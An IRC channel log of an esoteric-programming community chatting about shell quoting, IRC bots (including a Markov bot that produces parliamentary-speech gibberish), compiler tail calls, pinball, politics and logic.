20:29:26 <ais523> it's correctly quoted for the outside one, but not for the inside one
20:29:58 <olsner> right, but if the ` survives the first shouldn't it be inside single quotes the second time around? or was there a third?
20:30:16 <int-e> @ignore freenode:HackEgo
20:30:16 <lambdabot> Plugin `system' failed with: user error (invalid usage)
20:30:22 <ais523> olsner: it should be in single quotes the second time
20:30:26 <ais523> because ` is a metacharacter
20:30:35 <ais523> thus it needs to be in two sets of single quotes the first time
20:30:47 <ais523> thus, '\'', which is how you put a single-quote in a single-quoted string in bash
20:31:33 <olsner> then \\\` should have worked too?
20:31:36 <int-e> @ignore + freenode:HackEgo
20:31:37 <kmc> or '"'"' if you want to be stylish
20:31:59 <ais523> olsner: \` would have worked for the second layer of quoting
20:32:11 <ais523> not the first, though, unless you want to quote all the spaces individually
20:32:17 <int-e> elliott: I should have realized that @admin and @ignore are the same
20:33:10 <int-e> (wrt to syntax. don't get any foolish ideas)
20:33:35 <ais523> int-e: I could believe they were a combined user manipulation command that changed user ranks
20:33:54 <ais523> that's how many auth systems work
20:34:00 <elliott> ais523: haha, lambdabot doesn't have that kind of structure
20:34:13 <elliott> also you can have ignored admins
20:34:15 <ais523> elliott: but it's believable that it does
20:34:26 <elliott> you've clearly never looked at the code
20:34:44 <oerjan> int-e: is lambdabot in more than one network?
20:34:44 <ais523> that's why I can continue to maintain the belief
20:36:34 <oerjan> why the freenode: then
20:36:48 <int-e> but in theory it could be, I guess
20:40:05 <int-e> why is that a Data.Map.Map Nick Bool for each, ignored users and admins?
20:40:29 <oerjan> someone didn't want to be Set in their ways
20:40:59 <ais523> might have been written by someone used to Perl
20:41:06 <ais523> Perl has Set too, but it's just /so easy/ to do a map to bools
20:41:38 <ais523> I even went and optimized a map to bools, by making it a map where the possible values were "undef" and "key not found"
20:41:51 <ais523> this is really confusing, but sped the inner loop up like 50%, so
20:41:55 <oerjan> otoh that makes it easier to merge them into Data.Map.Map Nick Status
20:42:54 <olsner> does the un-ignore/admin function set the value to False or actually remove the nick?
20:43:37 <olsner> this reminds me of the quote map in lambdabot which has two ways for a nick not to have quotes
20:44:23 <lambdabot> olsner says: shapr: 2eyb6ard 0a5ntenance
20:45:24 <int-e> could be active numlock on a thinkpad.
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20:46:04 <olsner> not on a thinkpad, but it was indeed numlock
20:46:52 <olsner> int-e: you know that thing where sometimes instead of a quote you get an error like "getRandItem: empty list"?
20:47:20 <int-e> yes, I recall that
20:47:23 <int-e> I believe it is fixed
20:52:11 <lambdabot> No quotes match. I've seen penguins that can type better than that.
20:53:53 <oerjan> `run quote ais523 | shuf -1
20:53:55 <HackEgo> shuf: invalid option -- '1' \ Try `shuf --help' for more information.
20:54:11 <ais523> `run quote ais523 | shuf -n 1
20:54:11 <HackEgo> 931) <fungot> Áis523ÎkËÇÏ52Í¿ÉnÐffjliated/ais523: ever tried reading while confused?
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20:55:36 <olsner> `run quote oerjan | shuf -n 1
20:55:37 <HackEgo> 640) <itidus20> if only alonzo church would have anticipated the computer terminal... <zzo38> itidus20: What do you think it would be if he did so? <itidus20> i just plucked his name at random [...] <oerjan> if only the marquis de sade would have anticipated hospital romance novels
20:55:40 * oerjan remembers that bug being fixed but not what it was
20:56:15 <olsner> removing the last quote for a person left an empty list of quotes in the Map Nick [Quote]
20:56:42 <oerjan> olsner: um not the lambdabot one, the fungot one
20:56:42 <fungot> oerjan: come here, my snuggly green cutie-pie!
20:56:53 <fungot> olsner: and as for the elf-- self-reliance.
20:57:09 <fungot> olsner: it's so nice and listen to my song!
20:57:36 <oerjan> well, a nick-scrambling feature.
20:58:07 * int-e considers removing fungot's memory banks before it's too lat.e
20:58:07 <fungot> int-e: my name is " roy's archon"
20:58:43 <int-e> but I guess someone beat me to it.
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20:59:23 <ais523> fungot's in OoTS mode again, I see
20:59:23 <fungot> ais523: by my calculations, taking into account the ambient temperature and our current longitude, i estimate that i have eliminated!
21:00:42 <oerjan> ais523: i don't recall em leaving it...
21:01:19 <ais523> well I took it out into some other mode a while back, IIRC
21:01:27 <ais523> I like europarl, I'll use that one
21:01:30 <fungot> Selected style: europarl (European Parliament speeches during approx. 1996-2006)
21:01:46 <ais523> fungot: opinions on the current crisis in Crimea?
21:01:47 <fungot> ais523: the group of the greens/ european free alliance and the pse group and the gue group deals with two issues which he mentioned. according to the world bank and the european parliament' s political principles. please allow me to make specific mention of women's rights straight back on the disaster of war and wanting a conclusion to those negotiations, including cuba's accession to the eu, the commission cannot accept amend
21:02:00 <ais523> hmm, it's almost relevant
21:02:13 <ais523> especially the bit at the end
21:02:21 <ais523> (did Cuba apply to join the EU, or is that a fungotism?)
21:02:22 <fungot> ais523: madam president, first of all strike at the moment, but the wording could be tightened up to quickly ban the production of the latin american countries would be greatly appreciated in ireland if you would confirm that we will be able to establish that. for every member state, the head of the regulatory regime for hedge funds which will be discussed by the conference of presidents, we decided to allocate ecu 200m to this
21:04:53 <oerjan> i am getting the feeling lately that there's no sensible argument of law that says crimea cannot legally revolt and secede, but that ukraine could legally revolt and throw out yanukovich. unless the ukrainian constitution actually _had_ a means to impeach him, which you'd think people would have brought up by now.
21:07:09 <kmc> http://en.wikipedia.org/wiki/Viktor_Yanukovych#Impeachment_and_vote_to_remove
21:07:15 <oerjan> as in, the arguments of the west make at least as little sense as the russian ones.
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21:08:25 <ais523> are the West arguing that Crimea can't revolt? I thought they were arguing that Russia couldn't interfere, due to treaty
21:09:26 <oerjan> hm right that treaty too...
21:12:31 <oerjan> ais523: reading that section, i'm sure if a nomic had done what ukraine did, you'd be wildly protesting :P
21:13:06 <ais523> probably trying to recover it
21:13:25 <ais523> however, I'm not sure anyone cares about the platonic state of the ruleset in times of revolution
21:15:03 <oerjan> ais523: well i've heard that the west is arguing that crimea's council's decision to hold a referendum is unconstitutional, so they are obviously trying to use that kind of argument when it fits their view
21:15:43 <ais523> this is what I don't like about, well, every debate ever
21:15:43 <oerjan> (although i've also read that the council's quorum was faked)
21:15:58 <ais523> people just cherry-picking the points that support their opinion
21:16:22 <ais523> the advantage of adversarial systems is that you expect the adversary to make the other set of points
21:16:51 <ais523> but when there are four or five sides that don't line up neatly, and a communication vacuum
21:16:54 <ais523> it doesn't really work
21:17:20 <fizzie> oerjan: The bug was that the code for checking whether a potential outgoing message is too long had a stack problem (forgot to pop a value, or popped one value too many) in the "yes, it is too long" branch, leading to confusion esp. when used with things like europarl, where it fired oftener.
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21:28:43 <int-e> what language is fungot written in?
21:28:43 <fungot> int-e: madam president, we are meeting to discuss the subsidiarity issue in a way which carries any conviction. the commission is supportive of her point of view of what has been up till now to make the financial systems more competitive. in any case, i apologise on behalf of the committee on the environment.
21:29:14 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
21:32:34 * int-e backs away from fizzie slowly.
21:36:46 <fizzie> That's why the name starts with "fung".
21:37:22 <int-e> that explanation comes a bit too late.
21:37:27 <fizzie> fungot: I'm proud of you, you sound like a real politician, all content-free.
21:37:28 <fungot> fizzie: mr president, ladies and gentlemen, we have stronger protection for human health, but to ensure that this new new york process should not be a substitute for a statement from the commissioner to finish her response. it was emphatic in supporting the struggle of the peoples involved sufficiently supportive of the annual report as soon as they reach completion. it is somewhat unusual. he is still a need in the future is w
21:37:41 <int-e> I used to parse it as fun-got
21:38:01 <fizzie> Well, it's "funge bot".
21:38:35 <fizzie> One could even say you fun-got it.
21:38:51 <myname> can it do befunge, then?
21:39:05 <Melvar> Heh, I guessed, and I’ve only been here less than a week.
21:39:47 <fizzie> There's a ^code command that makes it run the given input with SUBR, but it's limited to the administrator, because it's both insecure and brittle.
21:40:02 <int-e> fizzie: it's got a lot less fun now.
21:40:31 <fizzie> Translating befbef.bf to Funge-98 would make it possible to have it interpret Befunge-93.
21:40:49 <ais523> "new new york process" is a pretty good name for a process
21:41:04 <fizzie> Though Befunge isn't all *that* well suited to IRC oneliners.
21:43:52 <ais523> it's got to be better than Python
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21:52:04 <fizzie> ais523: Also, no, Cuba has not applied for EU membership; it's a combination of "-- consider whether this is in any way the right approach in view of Cuba's accession to the Cotonou Agreement." and any of a number of different "-- accession to the EU, the --" fragments.
21:53:04 <ais523> fizzie: I guessed that was indeed what happened, although always interesting to see the original fragments
21:53:39 <olsner> fungot: what's the cotonou agreement?
21:53:40 <fungot> olsner: mr president, this document still fails to address the issue of simplifying and updating this regulation is fine. i am not convinced, myself, as you are probably familiar, i hope, and perhaps parliament is also provided for a minimum of assistance in the area of freedom, security and defence policy also endorses this analysis, the background level of the departments of dg vi ruled that the limitations on managerial prog
21:54:34 <fizzie> The first quoted fragment is the only... wait, no, there's another. Well, there's two instances of "Cuba's accession" in the source text.
21:55:46 <fizzie> fungot: Typical mealy-mouthed doubletalk from you again.
21:55:46 <fungot> fizzie: madam president, commissioner, ladies and gentlemen, first of all to congratulate mr fourans on his excellent report. in its communication, the european fnord network. i strongly object to the united kingdom, which prefer it that way, you are simply fighting democracy.
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21:56:14 <fizzie> Ah, the good old European fnord network. One of the most important organs of the EU.
21:56:44 <ais523> I don't like fizzie's opinion on the UK, though
21:57:20 <Taneb> Phantom_Hoover, what are your thoughts on fungot being pro-Scottish independence?
21:57:21 <fungot> Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, who wanted the time to do the same in political terms, the commission has made to make a great difference between mr olsson's views and my own country, sweden, a women dies every ten days because she has taken a political decision. each member state not even mrs jorritsma, fnord of all firms and employ 66% of the population, that is, its own
21:57:26 <fizzie> Disclaimer: any opinions provided by fungot are strictly personal do not necessarily represent the opinions of fizziecorp.
21:57:26 <fungot> fizzie: mr president, we are benefiting from special treatment, as a wider presence for scottish language and culture as many european universities have links with taiwan are very strong indications that torture is a crime in germany but also in other areas.
21:58:42 <fizzie> Torture -- a crime in not only Germany, but also in other areas. (Or at least there are strong indications for that; we can't be certain.)
21:59:52 <ais523> I'm glad it's probably illegal elsewhere too
22:00:09 <fizzie> `addquote <fungot> Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, [...]
22:00:09 <fungot> fizzie: mr president, the extensive action programme for central america, we must not be exploited on european ships just because they have fewer controls and do not really achieve results.
22:00:11 <HackEgo> 1175) <fungot> Taneb: mr president, commissioner, i would like to be caught by fishermen from guinea, [...]
22:00:25 <fizzie> I think that ^ is something we all aspire to.
22:01:34 <fizzie> In retrospect, possibly the second phrase could also have made the cut.
22:02:01 <fizzie> Also, "a women dies every ten days because she has taken a political decision"?
22:02:26 <fizzie> Wonder if that's really in there.
22:02:50 <Phantom_Hoover> <Taneb> Phantom_Hoover, what are your thoughts on fungot being pro-Scottish independence?
22:02:51 <fungot> Phantom_Hoover: madam president, i am sorry, too, is in reality the problem, however. first of all, we can still support them, whether they achieved practical results, are totally misleading.
22:02:56 <fungot> Phantom_Hoover: mr president, i believe we should take a more balanced debate. they are also developing sectors in which there is minimal to no demand from fnord associations and programmes.
22:04:13 <fizzie> "In my homeland of Sweden, a women dies every ten days because she has been badly beaten by a man who is close to her." Oh, so not because of political decisions, then.
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22:37:21 <kmc> "the exact behavior of [document.write] can in some cases be dependent on network latency"
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22:37:24 <kmc> best. platform. ever.
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23:51:36 <Phantom_Hoover> <kmc> "the exact behavior of [document.write] can in some cases be dependent on network latency"
23:51:46 <Phantom_Hoover> i saw the square brackets and assumed this was smalltalk initially
23:54:54 <ais523> gah, now I've started associating them with Feather
23:55:01 <ais523> even though I can no longer remember Feather syntax
23:55:12 <ais523> and I'm not sure it was ever very pinned down anyway
23:55:31 <ais523> all I can remember was that the guiding principle was "look like Smalltalk but for different reasons"
23:57:42 <Sgeo> I remember you talking about Smalltalk inspiring Feather
23:58:51 <ais523> the entirety of Feather was me trying to fix small perceived problems with Smalltalk
23:59:03 <ais523> actually, I guess I have a tendency to do that
23:59:12 <ais523> luckily in NetHack 4, we only ended up with grammartree
23:59:29 <Bike> "Hey ais, have you fixed the sink yet?" "Just a minute, I'm working on a generalization of navier-stokes I'll need"
00:06:21 <zzo38> What is navier-stokes?
00:06:53 <oerjan> https://en.wikipedia.org/wiki/Navier%E2%80%93Stokes_equations
00:06:57 <zzo38> How complicated is it usually to compile tail calls?
00:07:18 <ais523> zzo38: you just replace them with a goto, normally
00:07:28 <ais523> the only hard part is if there's something weird about the way arguments or return values are passed
00:07:40 <Bike> should be about the same as compiling a function call, only with a jump instead of a ret
00:07:54 <zzo38> ais523: In a program I am writing, I already have more than 37 lines of code for compiling tail calls.
00:08:14 <Bike> er, jump instead of a jsr, wtf ever
00:08:16 <zzo38> Much of which is determining whether or not a tail call is possible.
00:08:19 <ais523> zzo38: detecting tail calls is the hard part, yes
00:09:20 <oerjan> ais523: are you saying you've forgotten feather
00:09:21 <zzo38> As well as due to the way arguments are passed, it is doing other things with them.
00:09:28 <ais523> oerjan: many of the details, yes
00:09:32 <ais523> this is probably a good thing
00:09:40 <ais523> I could probably reconstruct what I had but don't make me
00:10:00 <zzo38> It is compiling into Z-machine, so arguments are part of the CALL opcode.
00:10:22 <zzo38> (As well as XCALL, CALL1, CALL2, ICALL, ICALL1, ICALL2, and IXCALL.)
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00:13:28 <zzo38> This compiler won't even attempt a tail call unless the user requests it anyways.
00:13:28 <oerjan> theory: the real reason why ais523 goes crazy whenever he tries to think about feather is that it's actually isomorphic to the language the universe is written in, and there's a defense routine for preventing anyone inside from inventing it.
00:14:18 <oerjan> all the weirdness of quantum mechanics is actually a side effect of the time rewinding.
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02:29:46 <kmc> what have they done
02:30:40 <copumpkin> just someone on twitter telling it how it is
02:36:37 <kmc> that's what the RT button is for
02:36:57 <copumpkin> that's how you got into trouble in the first place
02:37:25 <kmc> prepare for trouble and make it double!
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02:53:04 <Sgeo> Any good FTP servers that aren't FileZilla Server?
02:53:45 <kmc> publicfile
02:53:48 <kmc> if your files are public
02:54:57 <Sgeo> I just want to transfer files from one computer to another
02:55:09 <Sgeo> Shared folders don't seem to work well, bluetooth doesn't seem to work well
02:55:14 <Sgeo> (Or at all. For both)
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03:14:25 <kmc> give up and use dropbox
03:15:40 <copumpkin> http://utilite-computer.com/web/utilite-models seems kind of cute
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04:09:21 <zzo38> copumpkin: O, it has RS232. It least, it has that, is a good idea.
04:09:49 <copumpkin> http://hardkernel.com/main/products/prdt_info.php?g_code=G138745696275 is particularly tempting
04:11:12 <zzo38> But a better idea, would be to have both RS232 and GPIO available.
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05:08:56 <Bike> https://www.youtube.com/watch?v=m3qHepWxn-k Hacking, is easy
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06:15:31 <kmc> uint64_t arg; strncpy((char *) &arg, argv[1], 8);
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06:22:57 <kmc> I noticed ARM doesn't have a specific instruction for fast syscalls like x86 does; is that because normal interrupts are fast enough, with register banks and such?
06:23:10 <kmc> copumpkin: do you know
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06:47:09 <Sgeo_> It's official... tomorrow, I must buy sleepphones
06:47:14 <Sgeo_> I want to sleep with music
06:49:09 <shachaf> kmc: what is svc if not that?
06:52:22 <fizzie> To be fair, it used to be called "swi" which makes it sound not specific for system calls.
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06:53:52 <kmc> but isn't it handled the same way as other kinds of interrupts?
07:01:10 <zzo38> fizzie: It used to be called "swi"? And how is it called now?
07:02:22 <zzo38> Why did they change it?
07:03:45 <fizzie> Just a guess, but perhaps to better reflect what it is used for. (Also there's a "hvc" for hypervisor calls on systems supporting hardware virtualization, and perhaps more.)
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07:22:35 <zzo38> What do they call it in pinball if a ball goes down one outlane and up the other?
07:26:20 <zzo38> Is there a more specific name for such a thing? And, what is it called if the ball goes down the center lane and up an outlane?
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07:43:17 <fizzie> If it goes down an outlane and up through the center because you punched the front, it's called a "bangback".
07:43:50 <zzo38> I know that, but it isn't what I am asking.
07:44:37 <fizzie> I haven't heard of any terms for the things you're asking; maybe they're sufficiently rare?
07:45:52 <zzo38> There is also the kind of "sideways bangback" (I think there is actually another term), where the ball is about to fall through the outlane but the wall strikes it so it goes back in (because you hit the table from the side).
07:48:20 <fizzie> There is also the thing where the ball hits a flat surface, uncurls and starts jumping around. Wait, no, that's just in Sonic Spinball.
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07:53:19 <zzo38> Do you know that there are some flipperless pinball games that have flippers (or, at least one)?
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07:54:29 <zzo38> Such as this computer pinball game "Goo Goo Da Da", which has only one flipper, although you have no direct control over it (rather, it flips when the ball hits the bell).
07:55:58 <fizzie> How can it be a flipperless game if it has flippers?
07:57:36 <zzo38> It isn't used like the flippers in most pinball games are. Instead it just flips 180 degrees when the ball hits the bell, and you have no direct control over it.
08:07:50 <zzo38> That is how it can be a flippeless game if it has flippers.
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10:42:15 <oerjan> <copumpkin> http://utilite-computer.com/web/utilite-models seems kind of cute <-- i'm sorry but how can something be cute when THERE IS NO PICTURE that's ab surd hth
10:43:16 <boily> anything new from the past few days?
10:43:20 <oerjan> <copumpkin> just someone on twitter telling it how it is <-- LINKS OR GTFO
10:44:16 <oerjan> in the channel? nothing that i remember.
10:45:06 <oerjan> well, ais523 claims to be slowly forgetting feather.
10:45:38 <oerjan> there _may_ have been some quoting or wisdom, but i assume you can check that yourself.
10:46:57 <oerjan> otherwise, scott aaronson has finally banned luboš motl. also, my teeth are still as perfect as they were two years ago hth
10:48:37 * boily spins a voodoo doll so that Feather won't forget ais523.
10:49:01 <boily> as for the wisdom, I was already checking it, splicing in the new additions.
10:49:17 <oerjan> boily: in that case, please today's logs for my theory of why feather turns people insane hth
10:49:24 <boily> who are these two mysterious persons? also, my teeth are as imperfect as they are.
10:49:49 * boily goes and pleases the logs...
10:50:25 <oerjan> well i had a dentist checkup yesterday, which to me is a big event given my trouble with controlling my sleep schedule, but it worked out perfectly.
10:52:02 <boily> my dentist doesn't like the fact that I tend to fall asleep on her chair. when shen gets tired of telling me to open my mouth wide, she just jams her hand in it.
10:55:02 <oerjan> boily: scott aaronson is one of the world's foremost mathematical researchers of quantum computing, and has the world's most popular blog on the subject. luboš motl is one of the world's foremost researchers in insults, condescension, vitriol, and being repulsive, which tends to overshadow the fact he _used_ to be a good researcher in string theory.
10:56:06 <boily> I have pleased the logs. my sanity is affected.
11:02:26 <oerjan> to anecdotically requote another famous and very early blogger, john baez: "It is not easy to ignore Luboš, but it is always worth the effort."
11:03:06 <oerjan> (john baez blogged before the word existed, back when us geeks read usenet.)
11:03:24 <boily> I am young. usenet never was a source of information to me.
11:04:22 <oerjan> just think of it as a better reddit from a more enlightened age.
11:07:11 <boily> ah, some day even reddit shall pass, and be remembered as the paroxysm of enlightenment.
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11:07:53 <oerjan> @tell boily technically usenet hasn't passed, ais523 somehow manages to still be there, for one
11:09:15 * oerjan should have made that more accurate to the star wars quote
11:17:02 <b_jonas> what make of mobile phone does fungot use?
11:17:03 <fungot> b_jonas: mr president, the european market to north korean products. feasibility studies will be conducted in this area without a discussion about good and bad advisers in europe. responsibilities must be clearly defined. we shall shape its face by conducting this constitutional debate in a non-committal way on the hormone question. now let me come to a conclusion while maintaining cohesion between the two korean states. second
11:18:57 <Jafet> Hive of scam and miscellany
11:21:12 <oerjan> that's one of fungot's better europarls, i think
11:21:12 <fungot> oerjan: mr marinos, not only of a few major owners who are also not acting alone. this is also the province of cordoba in andalusia. ancient olive groves and trees play a particularly important and sensitive legislation. nobody would wish this to occur again.
11:28:33 <Jafet> I wouldn't be surprised if most of those sentences were lifted straight from the corpus
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12:10:58 <oerjan> bah i try to do the first edit on the haskell wiki for years and it crashes on me
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12:30:10 <Jafet> Is this why that wiki is rarely updated
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13:12:10 <Jafet> cvs is so annoying to use, it's hard to believe that it was invented first
13:17:45 <oerjan> Jafet: the wiki was edit by someone else just 2 days ago.
13:18:51 <oerjan> Jafet: well, consider hieroglyphs...
13:19:15 <Jafet> Well, I wouldn't care about hieroglyphs, because no one uses *those* any more.
13:20:18 <oerjan> i'm just saying that something being invented first doesn't imply it's easy to use.
13:20:52 <Jafet> Furthermore, cvs lacks penises
13:21:15 <oerjan> a grave omission, sure
13:21:38 <oerjan> but then, cvs is rarely used on graves, unlike hieroglyphs
13:38:37 <int-e> if you start with rcs and *somehow* try versioning full directories on top of it, you may end up with cvs.
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19:37:16 * oerjan flies on top of the hovering meta-pun anvil
19:37:43 <oerjan> i'm sure it can also handle bird eaters as narratively appropriate
19:37:44 <FreeFull> Is there any non-strict language that isn't garbage-collected?
19:38:00 <oerjan> FreeFull: sounds tricky
19:38:57 <oerjan> i suppose if you _only_ have streams...
19:39:02 <int-e> maybe oerjan is one of these ... http://freefall.purrsia.com/ff1200/fv01174.htm
19:39:15 <FreeFull> oerjan: But how would you implement a tree with streams?
19:39:24 <int-e> (but they play Mozart.(
19:41:03 <oerjan> FreeFull: that's the tricky part. anyway i assume you could use reference counting if you didn't have cyclic definitions
19:41:50 <FreeFull> oerjan: How about without automated memory management?
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19:43:34 <oerjan> i'm sure you can implement any language you want if you don't care about memory use.
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19:55:03 <ion> Sigh, you can’t see anything clearly with that kind of camera movement and cutting. http://youtu.be/tIIJME8-au8 The making of video wasn’t any better. http://youtu.be/c2NeW9o5G6s
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21:29:38 <?unknown?> [freenode-info] why register and identify? your IRC nick is how people know you. http://freenode.net/faq.shtml#nicksetup
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21:47:14 <oerjan_> and a relatively simple TC proof (http://esolangs.org/wiki/Quiney)
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22:18:55 <int-e> oerjan: why three cells, instead of just marking the used tape area? I'd think that starting with [}]}; then > -> }[-]+}, < -> {{, (all other operations are copied) and clean everything up at program end, something like }[}}]{[-]{[[-]{[-]{] should do the trick?
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22:32:30 * int-e notes that using -> for arrows was not his smaertest choice today
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22:34:04 <oerjan> oh hm you're right about the first part at least, you don't need more than [}]} when you're not using spaces in the main representation
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22:37:05 <int-e> ok, but at least I understand what you did there, now.
22:37:31 <int-e> cleaning up afterwards still seems simpler to me :)
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22:39:01 <oerjan> i somehow didn't want to do that
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22:41:03 <int-e> speaking of which, good night
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23:26:41 <zzo38> The license I might want on a document is one that says that attribution is not required, but if attribution is given, then a notice must also be given which specifies whether or not any changes are made from the official version; no other conditions are required.
23:27:30 <zzo38> I don't believe Creative Commons has a license like this?
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00:11:41 <oerjan> wtf isn't the ban working
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00:15:02 <oerjan> siruf: fix your connection thx
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00:15:37 <oerjan> maybe servers are being inconsistent?
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00:18:18 -!- oerjan has kicked siruf I said, fix your connection.
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00:18:48 <oerjan> perhaps the * is necessary somehow
00:19:26 <ion> My client hides that kind of stuff.
00:21:07 <ion> Also, you might want to append $##fix_your_connection to the ban hostmask.
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00:23:57 <zzo38> Is there a way to define a time limit for bans?
00:24:05 <zzo38> (and other channel modes)
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03:18:03 <Sgeo> Oh hey the name of a Portal 2 OST song is in Common Lisp
03:18:22 <Sgeo> (Or another language that looks like common lisp in at least one case)
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03:19:26 <Sgeo> (defun botsbuildbots () (botsbuildbots))
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04:06:04 <kmc> oh that is the name of the song?
04:08:20 <Sgeo> "LISP is a programming language that has been heavily used in AI research since being developed in 1958." I assume that's why Lisp, the stereotype
04:08:24 <Sgeo> Didn't notice until now
04:14:02 <Sgeo> Portal 2 has characters that are AIs
04:14:23 <Sgeo> Which may be why that song's name is in Lisp, because Lisp has a reputation of being used for AI stuff
04:27:33 <HackEgo> wakecoin bracoin toplincoin beacoin arcancoin pletticoin matimewhacoin tnditcoin vcoin 294coin creturnotiacoin iinbrecoin pingpersoncoin jactcoin rangcoin ciacoin nutantcoin chargfrcoin mancoin etchiliacoin
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06:32:37 <fizzie> `run sed -e 's/coin/lisp/' bin/coins | . /dev/fd/0 # lisps
06:32:39 <HackEgo> sefelisp olutionlisp moletlisp stboxlisp rocilisp minglisp poslisp percelisp waidictiolisp pavlisp boarentrolisp ///lisp oozlylisp rocklisp teillisp tritylisp tzundrillgelisp varlisp twicleishlisp mounlisp
06:36:22 <fizzie> `run . <(sed -e 's/coin/lisp/' bin/coins) # maybe clearer
06:36:24 <HackEgo> lentlylisp frienlisp ahwlisp brechalisp mazellolisp arcolatescrimlisp allincliclisp thredlisp michlisp figulisp kvilllisp podonkencompulmlisp tinglisp stauralisp redcloodlisp franderlotypoxypholoutercuterowghlisp lictagnlisp smolisp wikindlisp throlisp
06:36:55 <fizzie> (Hadn't really realized you can modify-and-execute like that.)
06:36:56 <kmc> ". /dev/fd/0" wow
06:37:02 <Bike> wait, what's . again
06:37:12 <kmc> you are wrapping a mobius strip of videotape around the math/porn part of my mind
06:39:19 <Bike> followup question: waht's source
06:39:27 <fizzie> It's approximately "read commands from a file instead of prompting for them, and run them in this shell".
06:40:00 <kmc> you can also just pipe to sh, but that starts a new shell
06:40:05 <kmc> but that's usually fine?
06:40:05 <Bike> so you're sedding the coins script and then sending that script to shell.
06:40:19 <fizzie> `run sed -e 's/coin/lisp/' bin/coins | bash /dev/fd/0 # would also work, yes
06:40:21 <HackEgo> reuthlisp hellengelisp onodlisp thismlisp unconlisp puisionlisp rallisp dussitalisp monlisp spinglisp receslisp cyanlisp falserlisp :lisp curringlisp babcdlisp befolisp pinallisp connlisp abbermdrlisp
06:40:32 <fizzie> It's pretty much that except with one bash less.
06:40:59 <fizzie> And the command line argument for bash was perhaps a bit superfluous.
06:42:56 <fizzie> Lispcoin is like Bitcoin except the scripts are in a Lisp dialect?
06:43:40 <Bike> proof of work is in the form of "original" parenthesis jokes
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06:48:33 <Sgeo> If, given proposition P, I can prove P, then I can prove P.
06:53:07 <Bike> if, given your proof of proposition P, i can plagiarize your proof of proposition P, then i can prove P
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07:33:32 <kmc> so the CIA is hacking Congress now? http://www.motherjones.com/politics/2014/03/dianne-feinstein-cia-intelligence-committee-constitutional-crisis
07:33:35 <kmc> that seems bad
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07:49:54 <Jafet> Something something shadow state
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09:34:31 <b_jonas> what's your favourite sport, fungot?
09:34:33 <fungot> b_jonas: mr president, the asylum system caused by abuses of the various production sectors, cost savings and the structural and cohesion policies? the fourans report is very important. the underlying implication which is, after all, we should indicate to our partner that we do not establish a collaborative network to monitor racism and xenophobia by adopting a paragraph which, under provocation certainly, immediately takes up
09:34:42 <b_jonas> hmm, he's still talking politics
09:40:44 <fizzie> fungot: Stop talking politics, it's time to relax.
09:40:44 <fungot> fizzie: mr president, the rapporteurs from different committees, the interparliamentary delegations and the delegations of the recipient countries. countries that do not enable them to be more enthusiastic. and you cannot convince me that this is one of the longest traditions in my country's internal affairs, mr bouwman, who is also a senior belgian judge, has just called on the committee that he too was concerned about human r
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09:45:01 <fungot> Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal)
09:45:11 <ais523> I think fungot's more relaxed in this style
09:45:11 <fungot> ais523: polymorph into an unknown material. it is bad manners to use the word that the wizard jumped back, squeezing and contorting with great distrust, as he approached the base, the armed instincts of nails and jaws which have for source and aim the belly, glare and smell out work for the weak of heart, and heard the oracle of delphi ( q.v.)
09:53:28 <Jafet> The Oracle of Delphi (fungot remix)
09:53:28 <fungot> Jafet: demi-gods don't need a mirror. in a fountain will not rust.
09:53:57 <Jafet> I'm guessing those are from .fal.
09:57:35 <fizzie> The latter part is [spoiler warning] a combination of two true rumours: "They say that dropping coins into a fountain will not grant you a wish." and "A crystal plate mail will not rust."
09:58:15 <fizzie> Whoops, I somehow misread the into/in part.
09:58:32 <fizzie> There's actually both a true and a false rumour that both contain "in a fountain", so I don't know which one was used.
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10:00:34 <fizzie> fungot: Why don't you compose a #esoteric theme song or something?
10:00:34 <fungot> fizzie: they say that going to eat when it gets hungry? there is no law firm. picturesque meant he decided after careful observation of the same thing. then, who has met a gluttonous, nude, angry ogre, will not grant you a gentleman?
10:03:59 <ais523> "we're going to eat when it gets hungry" sounds pretty song-like
10:04:16 <ais523> "there is no law firm" works too, but I think it's from a different song
10:05:47 <Jafet> I don't remember law firms being mentioned in the encyclopedia...
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10:18:39 <lambdabot> oerjan said 23h 10m 46s ago: technically usenet hasn't passed, ais523 somehow manages to still be there, for one
10:19:04 <ais523> most of usenet has died, I hang out in a couple of newsgroups that haven't (also a couple that have)
10:19:26 <ais523> even the spambots have given up on alt.lang.intercal
10:19:33 <ais523> but I still read it almost every day
10:19:34 <boily> there are stil newgroups that haven't transmuted to spam?
10:19:39 <ais523> (it doesn't take long to read an empty newsgroup)
10:20:08 <ais523> actually Usenet has some of its lowest spam levels ever
10:20:09 <boily> ah. the barren emptiness of them made the spambots go away in their search of more fertile land.
10:20:48 <boily> lesson of the day: Usenet is weird and wonderful.
10:21:31 <ais523> comp.lang.c has managed to stay relevant for years
10:21:57 <b_jonas> I never got into newsgroups. I stick to IRC and mailing lists.
10:22:08 <b_jonas> Not many mailing lists though.
10:23:47 <boily> I know I have subscribed to mailing lists, as I see them pop in my inbox. some day I'll read one of them.
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10:30:30 <b_jonas> I usually just read a mailing list for a few days after I write something to it, then ignore it.
10:30:34 <b_jonas> sometimes I even unsubscribe.
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11:33:59 <oerjan> <Sgeo> If, given proposition P, I can prove P, then I can prove P. <-- you need more precise thinking than that if you're going to tackle Löb's theorem, pal.
11:35:42 <ais523> there isn't a backwards Weakening rule
11:35:49 <ais523> you can't just get rid of premises whenever you feel like it
11:36:19 <ais523> (and "given P you can prove P" is just Identity)
11:36:45 <oerjan> i'm not sure Sgeo is currently awake.
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11:46:44 <lambdabot> MonadState s ((->) ((a -> a) -> a)) => s
11:49:09 <oerjan> Sgeo: half the point of löb's theorem is that "P" is _not_ the same proposition as "P is provable".
11:50:29 <Sgeo> So the a's in fix just represent ... hmm
11:50:35 <Sgeo> fix is still illogical?
11:51:26 <Sgeo> How would it be stated?
11:51:37 <ais523> Sgeo: that should give you a clue as to what's wrong
11:52:56 <oerjan> yes, fix is a curry-howard "proof" that haskell's type system is inconsistent.
11:54:04 <ais523> I think the point is that the type system isn't meant to enforce totality
11:54:13 <ais523> so in addition to useful proofs, you get the occasional infinite loop
11:54:53 <Jafet> @quote kmc Curry-Howard
11:54:53 <lambdabot> kmc says: "Haskell is great, because Curry-Howard! Proving things in the type system. We can prove that, uh, Ints exist, unless they're ⊥."
11:55:17 <oerjan> Jafet: haskell programs which _don't_ use general recursion presumably stay within the consistent part.
11:55:30 <ais523> I assume Agda doesn't have fix?
